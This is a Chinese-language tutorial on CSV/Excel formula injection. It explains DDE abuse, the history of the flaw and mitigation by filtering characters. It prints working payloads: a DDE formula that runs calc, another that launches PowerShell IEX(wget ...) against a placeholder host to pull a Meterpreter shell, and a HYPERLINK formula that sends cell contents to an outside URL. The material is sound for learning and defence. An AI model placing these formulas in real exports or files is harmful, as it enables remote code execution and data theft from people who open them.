CSV注入
漏洞介绍
CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。
现在很多应用提供了导出电子表格的功能(不限于 Web 应用),早在 2014 年 8月 29 日国外 James Kettle 便发表了《Comma Separated Vulnerabilities》文章来讲述导出表格的功能可能会导致注入命令的风险,因为导出的表格数据有很多是来自于用户控制的,如:投票应用、邮箱导出。攻击方式类似于 XSS :所有的输入都是不可信的。
漏洞原理
我们知道在 Excel 中是可以运行计算公式的: =1+5 ,它会将以 = 开头的单元格内容解释成公式并运行,单纯的运行计算公式可能没什么用,但这里可以用到 DDE 。Dynamic Data Exchange(DDE)是一款来自微软的古老技术,它是 Windows 下的一种跨进程通信的协议,支持 Microsoft Excel, LibreOffice 和 Apache OpenOffice。
虽然单元格的内容在引号内,但由于第一个字符是**=**,它以一个表达式的形式被处理,实际上包括 **= - + @**这样的符号都会触发这种行为,正常来说,如果数据量比较大的情况下,管理员一般不会花那么多时间去一个个检查输入内容是否正常。
执行 cmd 弹出计算器:
我们把输入内容修改为
1 | =1+cmd|'/C calc'!A0 |
之后点击保存,然后再次打开,会看到如下提示:f
点击 是 之后,弹出计算器:
这个问题在2014年进行了修复(CVE-2014-3524),所以我们现在注入命令执行时软件会有如下的提示:
漏洞危害
这类漏洞通常不会针对于专业的网络安全人员,毕竟是个搞安全的都知道cmd不要随便启用,但是对于大部分人来说,尤其是正常的企业员工,往往会忽视问题的严重性,可能随手就点了个是,因此这类漏洞一种利用方式可以用于钓鱼,另一种也和钓鱼类似,需要网站后台存在导出excel功能,攻击者通过污染数据,当管理员或者其他用户需要用到导出excel功能时,被污染的数据被一起导出,当打开该文件时并且忽略告警提示点了是,一起完美的攻击就完成了。
漏洞拓展
Meterpreter Shell 上线
1 | =cmd|'/C powershell IEX(wget xxx.xxxx/1X146m3)'!A0 |
注入代码模板:
1 | =cmd|'/C ping 127.0.0.1'!A0 |
在投票等场景插入了恶意代码:
1 | =HYPERLINK("http://linux.im?test="&A2&A3,"Error: Please click me!") |
这样就导致当用户在导出报表后倘若点击了某个单元格则会导致 A2,A3 的单元格内容泄露:
漏洞修复
过滤公式所用到的特殊字符(不应盲目过滤),因为个别情况下可能会影响产品的正常功能使用:
- 手机号码 +86 xxxxx
- 邮箱地址 @test.com
- 字符串 test-injection
参考链接
https://www.freebuf.com/vuls/195656.html
https://www.hacking8.com/bugbounty-cheatsheet/cheatsheets/csv-injection.html
https://blog.knownsec.com/2016/05/csv-injection-vulnerability/